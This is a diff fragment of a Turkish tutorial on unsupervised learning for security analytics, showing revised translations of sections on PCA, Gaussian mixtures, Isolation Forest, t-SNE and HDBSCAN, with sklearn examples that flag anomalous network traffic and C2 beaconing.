<summary>Örnek -- Ağ Verilerinin Boyutunu Azaltma
|
||||
</summary>
|
||||
|
||||
Birden fazla özelliğe (örneğin, süreler, baytlar, sayılar) sahip ağ bağlantı günlüklerimiz olduğunu varsayalım. Özellikler arasında bazı korelasyonlar olan sentetik 4 boyutlu bir veri seti oluşturacağız ve bunu görselleştirme veya daha fazla analiz için 2 boyuta indirmek için PCA kullanacağız.
|
||||
Birden fazla özelliğe (örneğin, süreler, baytlar, sayılar) sahip ağ bağlantı günlüklerimiz olduğunu varsayalım. Özellikler arasında bazı korelasyonlar olan sentetik 4 boyutlu bir veri seti oluşturacağız ve bunu görselleştirme veya daha fazla analiz için 2 boyuta indirmek üzere PCA kullanacağız.
|
||||
```python
|
||||
from sklearn.decomposition import PCA
|
||||
|
||||
@ -223,18 +223,18 @@ print("Original shape:", data_4d.shape, "Reduced shape:", data_2d.shape)
|
||||
# We can examine a few transformed points
|
||||
print("First 5 data points in PCA space:\n", data_2d[:5])
|
||||
```
|
||||
Burada daha önceki normal trafik kümelerini aldık ve her veri noktasını baytlar ve süre ile ilişkili iki ek özellik (paketler ve hatalar) ile genişlettik. PCA, ardından 4 özelliği 2 ana bileşene sıkıştırmak için kullanılır. Açıklanan varyans oranını yazdırıyoruz; bu, örneğin, %95'ten fazla varyansın 2 bileşen tarafından yakalandığını gösterebilir (bu da az bilgi kaybı anlamına gelir). Çıktı ayrıca veri şeklinin (1500, 4) den (1500, 2) ye düştüğünü gösterir. PCA alanındaki ilk birkaç nokta bir örnek olarak verilmiştir. Pratikte, veri_2d'yi çizerek kümelerin ayırt edilebilir olup olmadığını görsel olarak kontrol edebilirsiniz. Eğer bir anomali varsa, PCA alanında ana kümeden uzakta bir nokta olarak görülebilir. Bu nedenle, PCA karmaşık verileri insan yorumlaması için yönetilebilir bir forma veya diğer algoritmalara girdi olarak damıtmaya yardımcı olur.
|
||||
Burada daha önceki normal trafik kümelerini aldık ve her veri noktasını baytlar ve süre ile ilişkili iki ek özellik (paketler ve hatalar) ile genişlettik. PCA, ardından 4 özelliği 2 ana bileşene sıkıştırmak için kullanılır. Açıklanan varyans oranını yazdırıyoruz; bu, örneğin, %95'ten fazla varyansın 2 bileşen tarafından yakalandığını gösterebilir (bu da az bilgi kaybı anlamına gelir). Çıktı ayrıca veri şeklinin (1500, 4) den (1500, 2) ye düştüğünü gösterir. PCA alanındaki ilk birkaç nokta bir örnek olarak verilmiştir. Pratikte, veri_2d'yi çizerek kümelerin ayırt edilebilir olup olmadığını görsel olarak kontrol edebilirsiniz. Eğer bir anomali varsa, bunu PCA alanında ana kümeden uzakta bir nokta olarak görebilirsiniz. Bu nedenle, PCA karmaşık verileri insan yorumlaması için yönetilebilir bir forma veya diğer algoritmalara girdi olarak damıtmaya yardımcı olur.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### Gaussian Karışım Modelleri (GMM)
|
||||
|
||||
Bir Gaussian Karışım Modeli, verilerin **bilinmeyen parametrelerle birkaç Gaussian (normal) dağılımının karışımından üretildiğini** varsayar. Özünde, bu olasılıksal bir kümeleme modelidir: her noktayı K Gaussian bileşeninden birine yumuşak bir şekilde atamaya çalışır. Her Gaussian bileşeni k'nin bir ortalama vektörü (μ_k), bir kovaryans matrisine (Σ_k) ve o kümenin ne kadar yaygın olduğunu temsil eden bir karışım ağırlığı (π_k) vardır. K-Means'in "sert" atamalar yaptığı yerden farklı olarak, GMM her noktaya her kümede bulunma olasılığı verir.
|
||||
Bir Gaussian Karışım Modeli, verilerin **bilinmeyen parametrelerle birkaç Gaussian (normal) dağılımının karışımından üretildiğini** varsayar. Özünde, bu olasılıksal bir kümeleme modelidir: her noktayı K Gaussian bileşeninden birine yumuşak bir şekilde atamaya çalışır. Her Gaussian bileşeni k'nin bir ortalama vektörü (μ_k), bir kovaryans matrisine (Σ_k) ve o kümenin ne kadar yaygın olduğunu temsil eden bir karışım ağırlığı (π_k) vardır. K-Means'in "sert" atamalar yaptığı yerlerde, GMM her noktaya her küme için bir ait olma olasılığı verir.
|
||||
|
||||
GMM uyumu genellikle Beklenti-Maksimizasyon (EM) algoritması aracılığıyla yapılır:
|
||||
|
||||
- **Başlatma**: Ortalama, kovaryans ve karışım katsayıları için başlangıç tahminleri ile başlayın (veya başlangıç noktası olarak K-Means sonuçlarını kullanın).
|
||||
- **Başlatma**: Ortalama, kovaryans ve karışım katsayıları için başlangıç tahminleri ile başlayın (veya K-Means sonuçlarını başlangıç noktası olarak kullanın).
|
||||
|
||||
- **E-adımı (Beklenti)**: Mevcut parametreler verildiğinde, her nokta için her kümenin sorumluluğunu hesaplayın: esasen `r_nk = P(z_k | x_n)` burada z_k, x_n noktasının küme üyeliğini gösteren gizli değişkendir. Bu, Bayes teoremi kullanılarak yapılır; burada her noktanın mevcut parametrelere dayanarak her kümeye ait olma posterior olasılığını hesaplarız. Sorumluluklar şu şekilde hesaplanır:
|
||||
```math
|
||||
@ -246,7 +246,7 @@ burada:
|
||||
|
||||
- **M-adımı (Maksimizasyon)**: E-adımında hesaplanan sorumlulukları kullanarak parametreleri güncelleyin:
|
||||
- Her ortalamayı μ_k, noktaların ağırlıklı ortalaması olarak güncelleyin; burada ağırlıklar sorumluluklardır.
|
||||
- Her kovaryansı Σ_k, küme k'ye atanan noktaların ağırlıklı kovaryansı olarak güncelleyin.
|
||||
- Her kovaryansı Σ_k, küme k'ya atanan noktaların ağırlıklı kovaryansı olarak güncelleyin.
|
||||
- Karışım katsayılarını π_k, küme k için ortalama sorumluluk olarak güncelleyin.
|
||||
|
||||
- **E ve M adımlarını** yakınsama sağlanana kadar yineleyin (parametreler stabilize olana veya olasılık iyileşmesi bir eşik altına düşene kadar).
|
||||
@ -254,13 +254,13 @@ burada:
|
||||
Sonuç, genel veri dağılımını topluca modelleyen bir dizi Gaussian dağılımıdır. Uyumlu GMM'yi, her noktayı en yüksek olasılığa sahip Gaussian'a atayarak kümelemek için kullanabiliriz veya belirsizlik için olasılıkları saklayabiliriz. Yeni noktaların modele uyup uymadığını görmek için olasılıklarını da değerlendirebiliriz (anomali tespiti için yararlıdır).
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* GMM, normal verilerin dağılımını modelleyerek anomali tespiti için kullanılabilir: öğrenilen karışım altında çok düşük olasılığa sahip herhangi bir nokta anomali olarak işaretlenir. Örneğin, meşru ağ trafiği özellikleri üzerinde bir GMM eğitebilirsiniz; herhangi bir öğrenilen kümeye benzemeyen bir saldırı bağlantısı düşük bir olasılığa sahip olacaktır. GMM'ler ayrıca kümelerin farklı şekillere sahip olabileceği aktiviteleri kümelemek için de kullanılır – örneğin, her profilin özellikleri Gaussian benzeri olabilir ancak kendi varyans yapısına sahip olduğu kullanıcıları davranış profillerine göre gruplamak. Başka bir senaryo: oltalama tespitinde, meşru e-posta özellikleri bir Gaussian kümesi oluşturabilir, bilinen oltalama başka bir küme oluşturabilir ve yeni oltalama kampanyaları ya ayrı bir Gaussian olarak ya da mevcut karışıma göre düşük olasılıklı noktalar olarak ortaya çıkabilir.
|
||||
> *Siber güvenlikte kullanım durumları:* GMM, normal verilerin dağılımını modelleyerek anomali tespiti için kullanılabilir: öğrenilen karışım altında çok düşük olasılığa sahip herhangi bir nokta anomali olarak işaretlenir. Örneğin, meşru ağ trafiği özellikleri üzerinde bir GMM eğitebilirsiniz; herhangi bir öğrenilen kümeye benzemeyen bir saldırı bağlantısı düşük bir olasılığa sahip olacaktır. GMM'ler ayrıca kümelerin farklı şekillere sahip olabileceği aktiviteleri kümelemek için de kullanılır – örneğin, her profilin özellikleri Gaussian benzeri olabilir ancak kendi varyans yapısına sahip olduğu kullanıcıları davranış profillerine göre gruplamak. Başka bir senaryo: oltalama tespitinde, meşru e-posta özellikleri bir Gaussian kümesi oluşturabilir, bilinen oltalama başka bir, yeni oltalama kampanyaları ise ya ayrı bir Gaussian ya da mevcut karışıma göre düşük olasılıklı noktalar olarak görünebilir.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
GMM, kovaryansı içeren K-Means'in bir genellemesidir, böylece kümeler elipsoidal olabilir (sadece küresel değil). Kovaryans tam olduğunda farklı boyut ve şekillerdeki kümeleri işleyebilir. Yumuşak kümeleme, küme sınırları belirsiz olduğunda bir avantajdır – örneğin, siber güvenlikte bir olay birden fazla saldırı türünün özelliklerini taşıyabilir; GMM bu belirsizliği olasılıklarla yansıtabilir. GMM ayrıca verinin olasılıksal yoğunluk tahminini sağlar, bu da aykırı değerleri (tüm karışım bileşenleri altında düşük olasılığa sahip noktalar) tespit etmek için yararlıdır.
|
||||
|
||||
Diğer yandan, GMM, bileşen sayısı K'nin belirtilmesini gerektirir (ancak BIC/AIC gibi kriterler kullanarak seçilebilir). EM bazen yavaş yakınsama sağlayabilir veya yerel bir optimuma ulaşabilir, bu nedenle başlatma önemlidir (genellikle EM'yi birden fazla kez çalıştırmak gerekir). Veriler aslında Gaussian karışımını takip etmiyorsa, model kötü bir uyum sağlayabilir. Ayrıca, bir Gaussian'ın yalnızca bir aykırı değeri kapsayacak şekilde küçülme riski vardır (ancak düzenleme veya minimum kovaryans sınırları bunu hafifletebilir).
|
||||
Diğer yandan, GMM, bileşen sayısı K'nın belirtilmesini gerektirir (ancak BIC/AIC gibi kriterler kullanarak seçilebilir). EM bazen yavaş yakınsama sağlayabilir veya yerel bir optimuma ulaşabilir, bu nedenle başlatma önemlidir (genellikle EM'yi birden fazla kez çalıştırmak gerekir). Veriler aslında Gaussian karışımını takip etmiyorsa, model kötü bir uyum sağlayabilir. Ayrıca, bir Gaussian'ın yalnızca bir aykırı değeri kapsayacak şekilde küçülme riski vardır (ancak düzenleme veya minimum kovaryans sınırları bunu hafifletebilir).
|
||||
|
||||
<details>
|
||||
<summary>Örnek -- Yumuşak Kümeleme & Anomali Puanları
|
||||
@ -283,28 +283,28 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
Bu kodda, normal trafiğe (meşru trafiğin 3 profilini bildiğimizi varsayarak) 3 Gauss ile bir GMM eğitiyoruz. Yazdırılan ortalamalar ve kovaryanslar bu kümeleri tanımlar (örneğin, bir ortalama [50,500] civarında olabilir ve bu bir kümenin merkezine karşılık gelir, vb.). Daha sonra şüpheli bir bağlantıyı [duration=200, bytes=800] test ediyoruz. predict_proba, bu noktanın her bir 3 kümeden birine ait olma olasılığını verir - bu olasılıkların çok düşük veya oldukça çarpık olmasını bekleriz çünkü [200,800] normal kümelerden uzakta yer alır. Genel score_samples (log-olasılık) yazdırılır; çok düşük bir değer, noktanın modele iyi uymadığını gösterir ve onu bir anomali olarak işaretler. Pratikte, bir noktanın kötü niyetli olarak kabul edilemeyecek kadar olasılıksız olup olmadığını belirlemek için log-olasılık (veya maksimum olasılık) üzerinde bir eşik belirlenebilir. Bu nedenle GMM, anomali tespiti için prensipli bir yol sağlar ve belirsizliği kabul eden yumuşak kümeler de üretir.
|
||||
Bu kodda, normal trafiğe (meşru trafiğin 3 profilini bildiğimizi varsayarak) 3 Gauss ile bir GMM eğitiyoruz. Yazdırılan ortalamalar ve kovaryanslar bu kümeleri tanımlar (örneğin, bir ortalama [50,500] civarında olabilir ve bu bir kümenin merkezine karşılık gelir, vb.). Daha sonra şüpheli bir bağlantıyı [duration=200, bytes=800] test ediyoruz. predict_proba, bu noktanın 3 kümeden her birine ait olma olasılığını verir - bu olasılıkların çok düşük veya oldukça çarpık olmasını bekleriz çünkü [200,800] normal kümelerden uzakta yer alır. Genel score_samples (log-likelihood) yazdırılır; çok düşük bir değer, noktanın modeli iyi bir şekilde uymadığını gösterir ve onu bir anomali olarak işaretler. Pratikte, bir noktanın kötü niyetli olarak kabul edilemeyecek kadar olasılıksız olup olmadığını belirlemek için log-likelihood (veya maksimum olasılık) üzerinde bir eşik belirlenebilir. Bu nedenle GMM, anomali tespiti için prensipli bir yol sağlar ve belirsizliği kabul eden yumuşak kümeler de üretir.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest**, noktaları rastgele izole etme fikrine dayanan bir topluluk anomali tespit algoritmasıdır. İlkeler, anomallerin az ve farklı olmasıdır, bu nedenle normal noktalardan daha kolay izole edilirler. Bir Isolation Forest, verileri rastgele bölümlere ayıran birçok ikili izolasyon ağacı (rastgele karar ağaçları) oluşturur. Bir ağacın her düğümünde, rastgele bir özellik seçilir ve o düğümdeki veriler için o özelliğin minimum ve maksimumu arasında rastgele bir bölünme değeri seçilir. Bu bölünme verileri iki dala ayırır. Ağaç, her nokta kendi yaprağında izole edilene veya maksimum ağaç yüksekliğine ulaşılana kadar büyütülür.
|
||||
**Isolation Forest**, noktaları rastgele izole etme fikrine dayanan bir topluluk anomali tespit algoritmasıdır. İlkeler, anomali sayısının az ve farklı olmasıdır, bu nedenle normal noktalardan daha kolay izole edilirler. Bir Isolation Forest, verileri rastgele bölümlere ayıran birçok ikili izolasyon ağacı (rastgele karar ağaçları) oluşturur. Bir ağacın her düğümünde, rastgele bir özellik seçilir ve o düğümdeki veriler için o özelliğin minimum ve maksimumu arasında rastgele bir bölünme değeri seçilir. Bu bölünme verileri iki dala ayırır. Ağaç, her nokta kendi yaprağında izole edilene veya maksimum ağaç yüksekliğine ulaşılana kadar büyütülür.
|
||||
|
||||
Anomali tespiti, bu rastgele ağaçlardaki her noktanın yol uzunluğunu gözlemleyerek gerçekleştirilir - noktanın izole edilmesi için gereken bölünme sayısı. Sezgisel olarak, anomaller (aykırı değerler) daha hızlı izole olma eğilimindedir çünkü rastgele bir bölünme, yoğun bir kümedeki normal bir noktayı ayırmaktan çok, seyrek bir bölgede bulunan bir aykırı değeri ayırma olasılığı daha yüksektir. Isolation Forest, tüm ağaçlar üzerindeki ortalama yol uzunluğundan bir anomali skoru hesaplar: daha kısa ortalama yol → daha anormal. Skorlar genellikle [0,1] aralığında normalize edilir; burada 1, çok olası bir anomali anlamına gelir.
|
||||
Anomali tespiti, bu rastgele ağaçlardaki her noktanın yol uzunluğunu gözlemleyerek gerçekleştirilir - noktanın izole edilmesi için gereken bölünme sayısı. Sezgisel olarak, anomali (aykırı değerler) daha hızlı izole olma eğilimindedir çünkü rastgele bir bölünme, yoğun bir kümedeki normal bir noktayı ayırmaktan çok, seyrek bir bölgede bulunan bir aykırı değeri ayırma olasılığı daha yüksektir. Isolation Forest, tüm ağaçlar üzerindeki ortalama yol uzunluğundan bir anomali skoru hesaplar: daha kısa ortalama yol → daha anormal. Skorlar genellikle [0,1] aralığında normalize edilir; burada 1, çok olası bir anomali anlamına gelir.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* Isolation Forest'lar, saldırı tespiti ve dolandırıcılık tespiti gibi alanlarda başarıyla kullanılmıştır. Örneğin, çoğunlukla normal davranış içeren ağ trafiği günlükleri üzerinde bir Isolation Forest eğitmek; orman, garip trafik (duyulmamış bir port kullanan bir IP veya alışılmadık bir paket boyutu deseni gibi) için kısa yollar üretecek ve bunu inceleme için işaretleyecektir. Etiketlenmiş saldırılara ihtiyaç duymadığı için, bilinmeyen saldırı türlerini tespit etmek için uygundur. Ayrıca, kullanıcı giriş verileri üzerinde hesap ele geçirmelerini tespit etmek için de kullanılabilir (anomalik giriş zamanları veya konumları hızlı bir şekilde izole edilir). Bir kullanım durumunda, bir Isolation Forest, sistem metriklerini izleyerek ve bir dizi metrik (CPU, ağ, dosya değişiklikleri) tarihsel desenlerden çok farklı göründüğünde bir uyarı üreterek bir işletmeyi koruyabilir (kısa izolasyon yolları).
|
||||
> *Siber güvenlikte kullanım durumları:* Isolation Forest'lar, saldırı tespiti ve dolandırıcılık tespiti gibi alanlarda başarıyla kullanılmıştır. Örneğin, çoğunlukla normal davranış içeren ağ trafiği günlükleri üzerinde bir Isolation Forest eğitmek; orman, garip trafik (duyulmamış bir port kullanan bir IP veya alışılmadık bir paket boyutu deseni gibi) için kısa yollar üretecek ve inceleme için işaretleyecektir. Etiketlenmiş saldırılara ihtiyaç duymadığı için, bilinmeyen saldırı türlerini tespit etmek için uygundur. Ayrıca, kullanıcı giriş verileri üzerinde hesap ele geçirmelerini tespit etmek için de kullanılabilir (anomalik giriş zamanları veya konumları hızlı bir şekilde izole edilir). Bir kullanım durumunda, bir Isolation Forest, sistem metriklerini izleyerek ve bir dizi metrik (CPU, ağ, dosya değişiklikleri) tarihsel desenlerden çok farklı göründüğünde (kısa izolasyon yolları) bir uyarı üreterek bir işletmeyi koruyabilir.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
**Avantajlar**: Isolation Forest, bir dağılım varsayımına ihtiyaç duymaz; doğrudan izolasyonu hedefler. Yüksek boyutlu veriler ve büyük veri setleri üzerinde etkilidir (ormanı oluşturmak için lineer karmaşıklık $O(n\log n)$) çünkü her ağaç, yalnızca bir alt küme özellik ve bölünme ile noktaları izole eder. Sayısal özellikleri iyi bir şekilde işleme eğilimindedir ve $O(n^2)$ olabilecek mesafe tabanlı yöntemlerden daha hızlı olabilir. Ayrıca otomatik olarak bir anomali skoru verir, böylece uyarılar için bir eşik belirleyebilir (veya beklenen anomali oranına dayalı olarak otomatik bir kesim noktası belirlemek için bir kontaminasyon parametresi kullanabilirsiniz).
|
||||
|
||||
**Sınırlamalar**: Rastgele doğası nedeniyle, sonuçlar çalıştırmalar arasında biraz değişiklik gösterebilir (ancak yeterince çok ağaç varsa bu önemsizdir). Veriler çok sayıda alakasız özellik içeriyorsa veya anomaller herhangi bir özellikte güçlü bir şekilde farklılaşmıyorsa, izolasyon etkili olmayabilir (rastgele bölünmeler normal noktaları şans eseri izole edebilir - ancak birçok ağacın ortalaması bunu hafifletir). Ayrıca, Isolation Forest genellikle anomallerin küçük bir azınlık olduğunu varsayar (bu genellikle siber güvenlik senaryolarında doğrudur).
|
||||
**Sınırlamalar**: Rastgele doğası nedeniyle, sonuçlar çalıştırmalar arasında biraz değişiklik gösterebilir (ancak yeterince çok ağaç ile bu önemsizdir). Veriler çok sayıda alakasız özellik içeriyorsa veya anomali herhangi bir özellikte güçlü bir şekilde farklılaşmıyorsa, izolasyon etkili olmayabilir (rastgele bölünmeler normal noktaları şans eseri izole edebilir - ancak birçok ağacın ortalaması bunu hafifletir). Ayrıca, Isolation Forest genellikle anomali sayısının küçük bir azınlık olduğunu varsayar (bu genellikle siber güvenlik senaryolarında doğrudur).
|
||||
|
||||
<details>
|
||||
<summary>Örnek -- Ağ Günlüklerinde Aykırı Değerleri Tespit Etme
|
||||
</summary>
|
||||
|
||||
Daha önceki test veri setini (normal ve bazı saldırı noktalarını içeren) kullanacağız ve saldırıları ayırıp ayıramayacağını görmek için bir Isolation Forest çalıştıracağız. Anomali içeren verinin yaklaşık %15'ini beklediğimizi varsayacağız (gösterim için).
|
||||
Daha önceki test veri setini (normal ve bazı saldırı noktalarını içeren) kullanacağız ve saldırıları ayırıp ayıramayacağını görmek için bir Isolation Forest çalıştıracağız. Anomali olarak ~%15 veri beklediğimizi varsayacağız.
|
||||
```python
|
||||
from sklearn.ensemble import IsolationForest
|
||||
|
||||
@ -320,18 +320,18 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
|
||||
print("Number of anomalies detected:", np.sum(preds == -1))
|
||||
print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
|
||||
```
|
||||
Bu kodda, `IsolationForest`'u 100 ağaç ile başlatıyoruz ve `contamination=0.15` olarak ayarlıyoruz (bu, yaklaşık %15 anomali beklediğimiz anlamına gelir; model, ~%15'lik noktaların işaretlenmesi için puan eşik değerini ayarlayacaktır). Bunu, normal ve saldırı noktalarının bir karışımını içeren `X_test_if` üzerinde uyarlıyoruz (not: normalde eğitim verileri üzerinde uyarlayıp yeni verilerde tahmin yaparsınız, ancak burada sonuçları doğrudan gözlemlemek için aynı set üzerinde uyarlayıp tahmin yapıyoruz).
|
||||
Bu kodda, `IsolationForest`'ı 100 ağaç ile başlatıyoruz ve `contamination=0.15` olarak ayarlıyoruz (bu, yaklaşık %15 anomali beklediğimiz anlamına gelir; model, ~%15'lik noktaların işaretlenmesi için puan eşik değerini ayarlayacaktır). Bunu, normal ve saldırı noktalarının bir karışımını içeren `X_test_if` üzerinde uyarlıyoruz (not: normalde eğitim verileri üzerinde uyarlayıp yeni verilerde tahmin yaparsınız, ancak burada sonuçları doğrudan gözlemlemek için aynı set üzerinde uyarlayıp tahmin yapıyoruz).
|
||||
|
||||
Çıktı, ilk 20 nokta için tahmin edilen etiketleri gösterir (burada -1 anomaliyi belirtir). Ayrıca toplamda kaç anomali tespit edildiğini ve bazı örnek anomali puanlarını yazdırıyoruz. 120 noktadan yaklaşık 18'inin -1 olarak etiketlenmesini bekleriz (çünkü kontaminasyon %15'ti). Eğer 20 saldırı örneğimiz gerçekten en uç noktalar ise, bunların çoğu bu -1 tahminlerinde görünmelidir. Anomali puanı (Isolation Forest'ün karar fonksiyonu) normal noktalar için daha yüksek ve anomali için daha düşük (daha negatif) olacaktır – ayrımı görmek için birkaç değeri yazdırıyoruz. Pratikte, verileri puana göre sıralamak, en üst uç noktaları görmek ve incelemek için yararlı olabilir. Bu nedenle, Isolation Forest, büyük etiketlenmemiş güvenlik verilerini taramak ve insan analizi veya daha fazla otomatik inceleme için en düzensiz örnekleri seçmek için verimli bir yol sağlar.
|
||||
Çıktı, ilk 20 nokta için tahmin edilen etiketleri gösterir (burada -1 anomaliyi belirtir). Ayrıca toplamda kaç anomali tespit edildiğini ve bazı örnek anomali puanlarını yazdırıyoruz. 120 noktadan yaklaşık 18'inin -1 olarak etiketlenmesini bekleriz (çünkü kontaminasyon %15'ti). Eğer 20 saldırı örneğimiz gerçekten en uç noktalar ise, bunların çoğu o -1 tahminlerinde görünmelidir. Anomali puanı (Isolation Forest’ın karar fonksiyonu) normal noktalar için daha yüksek ve anomali için daha düşük (daha negatif) olacaktır – ayrımı görmek için birkaç değeri yazdırıyoruz. Pratikte, verileri puana göre sıralamak, en uç noktaları görmek ve incelemek için yararlı olabilir. Bu nedenle, Isolation Forest, büyük etiketlenmemiş güvenlik verilerini taramak ve insan analizi veya daha fazla otomatik inceleme için en düzensiz örnekleri seçmek için verimli bir yol sağlar.
|
||||
|
||||
### t-SNE (t-Dağıtılmış Stokastik Komşu Gömme)
|
||||
|
||||
**t-SNE**, yüksek boyutlu verileri 2 veya 3 boyutta görselleştirmek için özel olarak tasarlanmış doğrusal olmayan bir boyut azaltma tekniğidir. Veri noktaları arasındaki benzerlikleri ortak olasılık dağılımlarına dönüştürür ve yerel komşulukların yapısını daha düşük boyutlu projeksiyonda korumaya çalışır. Daha basit bir ifadeyle, t-SNE, benzer noktaları (orijinal alanda) birbirine yakın ve benzer olmayan noktaları yüksek olasılıkla uzak yerleştirir.
|
||||
**t-SNE**, yüksek boyutlu verileri 2 veya 3 boyutta görselleştirmek için özel olarak tasarlanmış doğrusal olmayan bir boyut azaltma tekniğidir. Veri noktaları arasındaki benzerlikleri ortak olasılık dağılımlarına dönüştürür ve yerel komşulukların yapısını daha düşük boyutlu projeksiyonda korumaya çalışır. Daha basit bir ifadeyle, t-SNE, benzer noktaları (orijinal alanda) yakın yerleştirirken, benzer olmayan noktaları yüksek olasılıkla uzak yerleştirir.
|
||||
|
||||
Algoritmanın iki ana aşaması vardır:
|
||||
|
||||
1. **Yüksek boyutlu alanda çiftler arası benzerlikleri hesapla:** Her nokta çifti için, t-SNE, o çifti komşu olarak seçme olasılığını hesaplar (bu, her noktanın etrafında bir Gauss dağılımı merkezleyerek ve mesafeleri ölçerek yapılır – karmaşıklık parametresi, dikkate alınan etkili komşu sayısını etkiler).
|
||||
2. **Düşük boyutlu (örneğin 2D) alanda çiftler arası benzerlikleri hesapla:** Başlangıçta, noktalar 2D'de rastgele yerleştirilir. t-SNE, bu haritadaki mesafeler için benzer bir olasılık tanımlar (uzak noktaların daha fazla özgürlük tanıması için Gauss'tan daha ağır kuyruklara sahip bir Student t-dağılımı çekirdeği kullanır).
|
||||
2. **Düşük boyutlu (örneğin 2D) alanda çiftler arası benzerlikleri hesapla:** Başlangıçta, noktalar 2D'de rastgele yerleştirilir. t-SNE, bu haritadaki mesafeler için benzer bir olasılık tanımlar (uzak noktaların daha fazla özgürlük tanıması için Gauss'tan daha ağır kuyruklara sahip bir Student t-dağılımı çekirdek kullanarak).
|
||||
3. **Gradyan İnişi:** t-SNE, yüksek boyutlu benzerlik dağılımı ile düşük boyutlu olan arasındaki Kullback–Leibler (KL) ayrımını minimize etmek için noktaları 2D'de iteratif olarak hareket ettirir. Bu, 2D düzeninin yüksek boyutlu yapıyı mümkün olduğunca yansıtmasını sağlar – orijinal alanda yakın olan noktalar birbirini çeker, uzak olanlar ise itilir, ta ki bir denge bulunana kadar.
|
||||
|
||||
Sonuç genellikle verilerdeki kümelerin belirgin hale geldiği görsel olarak anlamlı bir dağılım grafiğidir.
|
||||
@ -341,7 +341,7 @@ Sonuç genellikle verilerdeki kümelerin belirgin hale geldiği görsel olarak a
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
t-SNE, desenlerin görsel keşfi için harikadır. Diğer doğrusal yöntemlerin (PCA gibi) göremeyebileceği kümeleri, alt kümeleri ve uç noktaları ortaya çıkarabilir. Kötü amaçlı yazılım davranış profilleri veya ağ trafiği desenleri gibi karmaşık verileri görselleştirmek için siber güvenlik araştırmalarında kullanılmıştır. Yerel yapıyı koruduğu için, doğal gruplamaları göstermede iyidir.
|
||||
t-SNE, desenlerin görsel keşfi için harikadır. Diğer doğrusal yöntemlerin (PCA gibi) göremeyebileceği kümeleri, alt kümeleri ve uç noktaları ortaya çıkarabilir. Kötü amaçlı yazılım davranış profilleri veya ağ trafiği desenleri gibi karmaşık verileri görselleştirmek için siber güvenlik araştırmalarında kullanılmıştır. Yerel yapıyı koruduğu için doğal gruplamaları göstermede iyidir.
|
||||
|
||||
Ancak, t-SNE hesaplama açısından daha ağırdır (yaklaşık $O(n^2)$) bu nedenle çok büyük veri setleri için örnekleme gerektirebilir. Ayrıca, çıktıyı etkileyebilecek hiperparametreleri (karmaşıklık, öğrenme oranı, iterasyonlar) vardır – örneğin, farklı karmaşıklık değerleri farklı ölçeklerde kümeleri ortaya çıkarabilir. t-SNE grafikleri bazen yanlış yorumlanabilir – haritadaki mesafeler küresel olarak doğrudan anlamlı değildir (yerel komşuluğa odaklanır, bazen kümeler yapay olarak iyi ayrılmış görünebilir). Ayrıca, t-SNE esasen görselleştirme içindir; yeni veri noktalarını yeniden hesaplamadan projekte etmek için doğrudan bir yol sağlamaz ve tahmin modellemesi için ön işleme olarak kullanılmak üzere tasarlanmamıştır (UMAP, bu sorunların bazılarını daha hızlı hızla ele alan bir alternatiftir).
|
||||
|
||||
@ -438,14 +438,14 @@ Burada önceki 4D normal veri setimizi birkaç aşırı uç ile birleştirdik (a
|
||||
|
||||
### HDBSCAN (Gürültü ile Uygulamaların Hiyerarşik Yoğunluk Tabanlı Uzamsal Kümeleme)
|
||||
|
||||
**HDBSCAN**, tek bir küresel `eps` değeri seçme gereğini ortadan kaldıran ve farklı yoğunluklardaki kümeleri yoğunlukla bağlı bileşenlerin hiyerarşisini oluşturarak ve ardından yoğunlaştırarak geri kazanabilen bir DBSCAN uzantısıdır. Vanilya DBSCAN ile karşılaştırıldığında genellikle
|
||||
**HDBSCAN**, tek bir küresel `eps` değeri seçme ihtiyacını ortadan kaldıran ve farklı yoğunluklardaki kümeleri geri kazanabilen DBSCAN'ın bir uzantısıdır; yoğunluk bağlantılı bileşenlerin bir hiyerarşisini oluşturarak ve ardından bunu yoğunlaştırarak çalışır. Vanilya DBSCAN ile karşılaştırıldığında genellikle
|
||||
|
||||
* bazı kümeler yoğun ve diğerleri seyrek olduğunda daha sezgisel kümeler çıkarır,
|
||||
* yalnızca bir gerçek hiper-parametreye (`min_cluster_size`) ve mantıklı bir varsayılan değere sahiptir,
|
||||
* her noktaya bir küme üyeliği *olasılığı* ve bir **aşırı uç skoru** (`outlier_scores_`) verir, bu da tehdit avı panoları için son derece kullanışlıdır.
|
||||
* her noktaya bir küme üyeliği *olasılığı* ve bir **aşırı uç skoru** (`outlier_scores_`) verir; bu, tehdit avı panoları için son derece kullanışlıdır.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* HDBSCAN, modern tehdit avı hatlarında çok popülerdir - genellikle ticari XDR paketleri ile birlikte gönderilen not defteri tabanlı av kılavuzlarının içinde görürsünüz. Pratik bir tarif, IR sırasında HTTP işaretleme trafiğini kümelemektir: kullanıcı ajanı, aralık ve URI uzunluğu genellikle birkaç sıkı grup oluştururken, C2 işaretleri küçük düşük yoğunluklu kümeler veya saf gürültü olarak kalır.
|
||||
> *Siber güvenlikte kullanım durumları:* HDBSCAN, modern tehdit avı hatlarında çok popülerdir – genellikle ticari XDR paketleri ile birlikte gönderilen not defteri tabanlı av kılavuzlarının içinde görürsünüz. Pratik bir tarif, IR sırasında HTTP işaretleme trafiğini kümelemektir: kullanıcı ajanı, aralık ve URI uzunluğu genellikle birkaç sıkı grup oluştururken, C2 işaretleri küçük düşük yoğunluklu kümeler veya saf gürültü olarak kalır.
|
||||
|
||||
<details>
|
||||
<summary>Örnek – İşaretleme C2 kanallarını bulma</summary>
|
||||
@ -476,25 +476,25 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
---
|
||||
|
||||
### Dayanıklılık ve Güvenlik Değerlendirmeleri – Zehirleme ve Düşman Saldırıları (2023-2025)
|
||||
### Dayanıklılık ve Güvenlik Değerlendirmeleri – Zehirleme & Düşman Saldırıları (2023-2025)
|
||||
|
